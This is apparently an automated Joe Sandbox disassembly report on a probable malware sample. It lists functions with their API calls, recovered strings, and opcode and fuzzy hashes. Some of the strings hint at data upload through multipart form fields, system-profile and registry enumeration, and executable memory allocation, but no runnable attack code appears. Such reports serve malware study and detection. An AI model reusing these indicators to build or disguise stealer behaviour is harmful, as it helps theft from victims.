Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: advapi32.dll$my-global-render.dll
API String ID: 1029625771-772900288
Opcode ID: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction ID: f2405b5e0aceb9a51e137d87bf907524102569514c3531be8be57496d61f3bc2
Opcode Fuzzy Hash: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction Fuzzy Hash: 6BA1F872D0412A86CF64CE98994527E6E78BB10351F250A3BE915FA3D0C7BCCF41A79B

Function 004338B5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

^^4, xrefs: 004339F5
~rjz, xrefs: 0043399A
^^4, xrefs: 00433A0A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: ^^4$^^4$~rjz
API String ID: 0-2511145224
Opcode ID: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction ID: fe384b451c266d20576388885646b2b98754c57df49fd09348afa64f247ec54d
Opcode Fuzzy Hash: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction Fuzzy Hash: 9E618C72E0011947EF287D4888855BEB7919B88B1AF342927F115FB391C76C8F4D974B

Function 00453B82 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Part of subcall function 00453203: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045769E,?,00000000,-00000008), ref: 004532AF

Strings

Eastern Summer Time, xrefs: 00453CE3
Eastern Standard Time, xrefs: 00453CCF

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ByteCharInformationMultiTimeWideZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1123094072-239921721
Opcode ID: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction ID: af1a61733d26d89116c9bb65ccd9636383a7b5e966e3c510a6c9de8ec0de26fa
Opcode Fuzzy Hash: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction Fuzzy Hash: FC4199B2D00115BBDB106FA6DC46A5ABF78EF04396F10406BFD04A7162E7789F148B99

Function 004439BA Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0044387B,?,00443A9B,00000000,?,?,0044387B,381389CC,?,0044387B), ref: 004439CB
TerminateProcess.KERNEL32(00000000,?,00443A9B,00000000,?,?,0044387B,381389CC,?,0044387B), ref: 004439D2
ExitProcess.KERNEL32 ref: 004439E4

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction ID: af00403c123718aebf8df8255158ed5eb80799a0d3dec5c869f97e29736db2e2
Opcode Fuzzy Hash: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction Fuzzy Hash: 7ED09E71404115BBEF113F61DC0E9593F2AAF40787B144029F90596132DFF59E51DB99

Function 0041D057 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(00000000,?,?,0041A650), ref: 0041D07D

Strings

advapi32.dll, xrefs: 0041D06A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: advapi32.dll
API String ID: 2104809126-4050573280
Opcode ID: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction ID: 6db1735cda00ed3d220bfaf1cacc4b3e5e01bff1461a9ef13bbd23f8b442f0e3
Opcode Fuzzy Hash: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction Fuzzy Hash: 9BF0E9F3D4013126F61025AA5C01ABB7E888B46729F140177FD0CE6281E21E9D8242EA

Function 0044E224 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction ID: f015b3b87cbc766378ce5f0d68a15eb43446f93644205f51174f0ce78f182e30
Opcode Fuzzy Hash: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction Fuzzy Hash: 3AE08631100214ABEF112BA2AD0AB5A3B9CBF80355F104065F60896161EBB88850C7DD

Function 02ED0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02ED0223,?,?), ref: 02ED0E19
SetErrorMode.KERNELBASE(00000000,?,?,02ED0223,?,?), ref: 02ED0E1E

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 2728ec6266eccd2df74ccad318daa4bcd13064fc6acaeedfbc78d4ad9a9bc59b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 33D0123114512877DB002AA4DC09BCD7B1CDF05B66F048011FB0DD9080C770954146E5

Function 00418BA2 Relevance: 1.8, APIs: 1, Instructions: 313COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418BDF

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction ID: 1d70213f864448114667fa93143398f689e43ce09380febb34e55b8e9c3c6d32
Opcode Fuzzy Hash: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction Fuzzy Hash: AEC1ECB1A05B009FD724CF29C88166BFBE5FF88314F14892EE5AA83750E774E845CB56

Function 0044CFE0 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction ID: 373710123005f16d466fbf61102d91235a16be84b9ed3eb2ab6254e0a7e141d7
Opcode Fuzzy Hash: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction Fuzzy Hash: B6016D33B001145FBF11CE69EC4595B3796EBC1328B244132F904CB185FB39CC028389

Function 0045699F Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0044EB6F: RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

RtlReAllocateHeap.NTDLL(00000000,00000000,00413871,00000000,00000000,00000000,00413871,00000000,00000000,755AF770,?,0041A136,00001FE6,00003CA7,?,000016E5), ref: 004569FC

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction ID: a5a40cd43560794f83e54c6bbfcb227c9197063c5c667a14a31a2b77de81b9f8
Opcode Fuzzy Hash: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction Fuzzy Hash: 80F0C8B110011576AB212A279C01B6B276C9FC1B76F56013FFC1497293EE7C9809C29E

Function 00450330 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044D36A,00000001,00000364,00000000,00000008,000000FF,?,00447A98,00426F52,?,?), ref: 00450371

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction ID: 035a614d3876f6906020b157cdd10206fdefeae5334def747215f66390aa104c
Opcode Fuzzy Hash: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction Fuzzy Hash: BBF05939200620A7AB205B728C01B6B3758AF81772B044127FC08DA282DA38DC09C6EE

Function 0044EB6F Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction ID: b54a30de40d39881521df567edad888a5efcf5dcf9e065f2953d68bc5b8e4da5
Opcode Fuzzy Hash: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction Fuzzy Hash: 3AE0E5212001A56AFA30A767CC01B6B3A4DFF417B8F010037ED47A62D1DBACEC0285AE

Function 02F69BED Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02F69C3E

Memory Dump Source

Source File: 00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp, Offset: 02F69000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f69000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: e78b53b8b946b2197d1a57348711677983769f7f834b410c5d0e939825deba98
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5D112B79A00208EFDB01DF98C989E99BBF5EF08350F058094FA489B361D371EA50DF80

Non-executed Functions

Function 02EDBA83 Relevance: 42.2, APIs: 5, Strings: 18, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 02EDC7E8
lstrlenW.KERNEL32(00001A2F), ref: 02EDCB68
lstrlenW.KERNEL32(00001A2F), ref: 02EDDA8D

Strings

Ku^%, xrefs: 02EDD9EC
Y=`, xrefs: 02EDC1CC
{#9, xrefs: 02EDBBF6
Ku^%, xrefs: 02EDBFB1
Ku^%, xrefs: 02EDD66E
K2&e, xrefs: 02EDC4C9
{#9, xrefs: 02EDC8F1
bi, xrefs: 02EDBF40
Y=`, xrefs: 02EDD2E4
Ku^%, xrefs: 02EDC74A
L2&e, xrefs: 02EDCCE4
Y[[T, xrefs: 02EDBCAE
Ku^%, xrefs: 02EDC0FA
"B!H, xrefs: 02EDC285
Ku^%, xrefs: 02EDD45C
L2&e, xrefs: 02EDD262
"B!H, xrefs: 02EDCF92
Ku^%, xrefs: 02EDD552

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$Y[[T$bi${#9${#9$Y=`$Y=`
API String ID: 1659193697-3907602706
Opcode ID: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction ID: d0c50640287b854dc98303e29e745f74e8bd18d410da6aba018040be517a087a
Opcode Fuzzy Hash: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction Fuzzy Hash: 55F21A72D8061A8BDF248F588D556BD7BB0AB0431CF65A52BE505FF390F7708A42CB92

Function 0041B251 Relevance: 28.9, APIs: 6, Strings: 10, Instructions: 942COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041B77B
_strlen.LIBCMT ref: 0041BA1C
_strlen.LIBCMT ref: 0041C1E5
_strlen.LIBCMT ref: 0041C1FD

Strings

ilen, xrefs: 0041B883
RY30, xrefs: 0041B48D
Content-Type: attachment/x-object, xrefs: 0041B8FA
^^4, xrefs: 0041BDB0
A@6e, xrefs: 0041B516
SqDe87817huf871793q74, xrefs: 0041BCD2
A@6e, xrefs: 0041C0F4
Content-Disposition: form-data; name=", xrefs: 0041C185
ame=, xrefs: 0041B87B
^^4, xrefs: 0041B7EA

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$A@6e$A@6e$Content-Type: attachment/x-object$RY30$SqDe87817huf871793q74$^^4$^^4$ame=$ilen
API String ID: 4218353326-1595699696
Opcode ID: 7907d723524d677c7fba307958eceda359f7f54ff42f453c8872ada657c95bff
Instruction ID: 2d689a8b6144ae040ff6817911910587bd341415a88b77611baba4cffa878017
Opcode Fuzzy Hash: 7907d723524d677c7fba307958eceda359f7f54ff42f453c8872ada657c95bff
Instruction Fuzzy Hash: EC72A771D442198BDF18CF98D9855FEBBB0EB14314F24056BE915EB360E3788A858BCB

Function 02F042E7 Relevance: 25.4, APIs: 7, Strings: 7, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 02F04942
RegEnumKeyExW.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 02F0498C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,?,00000001), ref: 02F0500C

Strings

$jRk, xrefs: 02F04D6D
$jRk, xrefs: 02F047DF
?, xrefs: 02F04B7C
TT4, xrefs: 02F04ED8
TT4, xrefs: 02F047AA
y_B>, xrefs: 02F048A1
y_B>, xrefs: 02F0499F

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: EnumOpenwsprintf
String ID: $jRk$$jRk$?$TT4$TT4$y_B>$y_B>
API String ID: 934838074-1833258458
Opcode ID: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction ID: 5a628203852a4aec2e543b4c1136e657053a8e23d0e019c6f775b44711b10e35
Opcode Fuzzy Hash: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction Fuzzy Hash: 3062E7B1E0021A8BDF24CA989CD46BDBAB1BB54394F145626D715EB2D0D3B48A40FF92

Function 00434FAC Relevance: 22.0, APIs: 3, Strings: 9, Instructions: 1008COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0043532D

Strings

576xed, xrefs: 0043596B, 00435A57, 00435B79, 00435D50
TT4, xrefs: 004360B7
$jRk, xrefs: 004355D5
$jRk, xrefs: 004356F3
y_B>, xrefs: 00435D88
x_B>, xrefs: 00435341
TT4, xrefs: 004356AE
y_B>, xrefs: 0043534C
3Z@, xrefs: 00434FB8, 00435953, 00435970, 00435B7E

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: $jRk$$jRk$3Z@$576xed$TT4$TT4$x_B>$y_B>$y_B>
API String ID: 2961919466-3812700333
Opcode ID: 736beb57220df515d506b056ccd7fd11a59d56b837410d7613fdb76fd6dde63c
Instruction ID: c1f0278ec094f6be02d202c53d620e15fc525e7d6860b659e372b79efda81f17
Opcode Fuzzy Hash: 736beb57220df515d506b056ccd7fd11a59d56b837410d7613fdb76fd6dde63c
Instruction Fuzzy Hash: 3982DBB1D0051A8BDF28DB68C9451BEB670EB5C310F29662BE505EB360D738DE418B9F

Function 02EDE3B5 Relevance: 20.6, Strings: 15, Instructions: 1822COMMON

Download Yara Rule

Strings

Ied|, xrefs: 02EDE9B5
)lu, xrefs: 02EDF127
"t8, xrefs: 02EDE916
n_v, xrefs: 02EDF2A7
"t8, xrefs: 02EDF88A
v2B, xrefs: 02EDEAFB
(lu, xrefs: 02EDE994
Pz#, xrefs: 02EDF83B
u2B, xrefs: 02EDEB05
v2B, xrefs: 02EDF3BF
Ied|, xrefs: 02EDFAA4
!t8, xrefs: 02EDE90B
Pz#, xrefs: 02EDE806
n_v, xrefs: 02EE0079
)lu, xrefs: 02EDF29C

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$n_v$n_v$u2B$v2B$v2B
API String ID: 0-3549259986
Opcode ID: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction ID: 54f17f4a672923cfd4e7c45fe2917fa1b8e0eb386ed75c200b5acee344018555
Opcode Fuzzy Hash: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction Fuzzy Hash: 7FE20DB1E802199BDF24CE98C8856BE7B71AB14714F18A557F50BFF390D3709A42CB92

Function 0041AA49 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 473COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041ACEB
_strlen.LIBCMT ref: 0041AE2E
_strlen.LIBCMT ref: 0041B216
_strlen.LIBCMT ref: 0041B231

Strings

(, xrefs: 0041B178
&, xrefs: 0041B12D
:[, xrefs: 0041B135
SqDe87817huf871793q74, xrefs: 0041AF36
Content-Disposition: form-data; name=", xrefs: 0041B180

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$ &$($:[$SqDe87817huf871793q74
API String ID: 4218353326-898291561
Opcode ID: f011c9fed8efc87c81c5afbe689e28c72ff5ebee152719aa64aabc7cc97206bc
Instruction ID: fda5cd55cfb9f0796932eaeb7ac8b2d4ab06e0c9493bffbe09938a436643aec3
Opcode Fuzzy Hash: f011c9fed8efc87c81c5afbe689e28c72ff5ebee152719aa64aabc7cc97206bc
Instruction Fuzzy Hash: 7F128DB090560A8BCF18CF58C9901BEBBB1FF54354F24592BE855EB394D7388991CB8B

Function 02F05213 Relevance: 18.5, APIs: 2, Strings: 8, Instructions: 1008COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 02F05594

Strings

mE, xrefs: 02F056B2
y_B>, xrefs: 02F05FEF
y_B>, xrefs: 02F055B3
TT4, xrefs: 02F0631E
TT4, xrefs: 02F05915
x_B>, xrefs: 02F055A8
$jRk, xrefs: 02F0595A
$jRk, xrefs: 02F0583C

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: $jRk$$jRk$TT4$TT4$mE$x_B>$y_B>$y_B>
API String ID: 2961919466-2403683918
Opcode ID: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction ID: dc2ecfd25276403af2c9dc50eab958ae4cee9600dc500b703a15777aac136b85
Opcode Fuzzy Hash: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction Fuzzy Hash: A28208B2E002198BDF24CA98D8D46BDB7B5BF08294F64052BD615EB3D0D374DA90DF92

Function 0040112C Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 335COMMON

Download Yara Rule

Strings

y_B>, xrefs: 0040160E
f3@, xrefs: 00401138
x_B>, xrefs: 004013B9
y_B>, xrefs: 00401977

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: f3@$x_B>$y_B>$y_B>
API String ID: 0-2758273646
Opcode ID: 4d800e4a8c53861f20154e06e0aaefdbc94ae587142e1632d027028e9bc40389
Instruction ID: 769378b0013e5f891025f4b50e79353ec4a26f3ac52f3a61e025b4fcd72a7191
Opcode Fuzzy Hash: 4d800e4a8c53861f20154e06e0aaefdbc94ae587142e1632d027028e9bc40389
Instruction Fuzzy Hash: 2BC1A1756183019BCB2C8A19C99153EBAE5AB85314F14893FF556EB3F0E338D8419B4B

Function 0043A4FE Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 823COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043A740

Strings

Ku^%, xrefs: 0043AA66
Y=`, xrefs: 0043A514
Y=`, xrefs: 0043A58A
Ju^%, xrefs: 0043A658
Y=`, xrefs: 0043A932

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Ju^%$Ku^%$Y=`$Y=`$Y=`
API String ID: 4218353326-1811093487
Opcode ID: cf27e2aad08aa0ad968c1e6dfb0571fb3b005bd4e8b72d189d402ef4653cb86d
Instruction ID: 68bed0c00360ed0a45c1e6ce9cbfc25002c960087630870fd3b76e024578c11c
Opcode Fuzzy Hash: cf27e2aad08aa0ad968c1e6dfb0571fb3b005bd4e8b72d189d402ef4653cb86d
Instruction Fuzzy Hash: D662D3B1D402198BCF24CB98C9856BEBBB0EB18305F24251BD595FB350D33CCA518BAB

Function 00439535 Relevance: 10.9, Strings: 8, Instructions: 905COMMON

Download Yara Rule

Strings

(lu, xrefs: 00439651
v2B, xrefs: 004397D3
)lu, xrefs: 00439B97
n_v, xrefs: 00439BA2
v2B, xrefs: 004395B9
)lu, xrefs: 004396AC
u2B, xrefs: 004397C8
n_v, xrefs: 0043A492

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (lu$)lu$)lu$n_v$n_v$u2B$v2B$v2B
API String ID: 4218353326-1100714106
Opcode ID: fc83baca781e6038d85ce843f57f52639d84c7305a5e30f3d91329c925e2716a
Instruction ID: a2355ce2209b5258348a648dcbfed05c01f212a34098c733ae6d56c92e88b106
Opcode Fuzzy Hash: fc83baca781e6038d85ce843f57f52639d84c7305a5e30f3d91329c925e2716a
Instruction Fuzzy Hash: 717284B2D001199BCF64CFAC848557EB6B0BB18310F24251BD55AEB351E3B89E91CF9B

Function 00457B30 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00457D14

Strings

1#IND, xrefs: 00457C35
1#SNAN, xrefs: 00457C3C
1#INF, xrefs: 00457C66
1#QNAN, xrefs: 00457C43

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 9df9496146953a9c334645953d65b23cf1161b90a9ddbaf06c4857e78f5672f2
Instruction ID: 851cf4d307f2775529c2b2c48624cd02a74d3cb87db6a9e2c754e45b37c83e55
Opcode Fuzzy Hash: 9df9496146953a9c334645953d65b23cf1161b90a9ddbaf06c4857e78f5672f2
Instruction Fuzzy Hash: C5D23B71E082288FDB65CE24DD407EAB7B5EB44306F1445EBD80DE7241EB78AE898F45

Function 00428334 Relevance: 9.8, Strings: 7, Instructions: 1067COMMON

Download Yara Rule

Strings

y_B>, xrefs: 004285E3
$jRk, xrefs: 0042848F
q7 C, xrefs: 00428AB7
$jRk, xrefs: 0042906E
q7 C, xrefs: 004292BF
TT4, xrefs: 0042970A
ST4, xrefs: 00428386

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$$jRk$ST4$TT4$q7 C$q7 C$y_B>
API String ID: 0-4120928008
Opcode ID: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
Instruction ID: 5ed2bce57202caa61740e9a0066a193a3aa364e15e010ca0d77f5b321bac14a1
Opcode Fuzzy Hash: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
Instruction Fuzzy Hash: 6792C670B0A3159BD724DF18E58563EBAE1EB94700FA8891FE5C9CB390D679CC418B4B

Function 00424C8D Relevance: 7.4, Strings: 5, Instructions: 1174COMMON

Download Yara Rule

Strings

T5 S, xrefs: 00424F0D
fS)), xrefs: 0042574F
]cnq, xrefs: 0042550D
U5 S, xrefs: 00425889
U5 S, xrefs: 00426114

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleModuleName
String ID: T5 S$U5 S$U5 S$]cnq$fS))
API String ID: 2106025501-2879408294
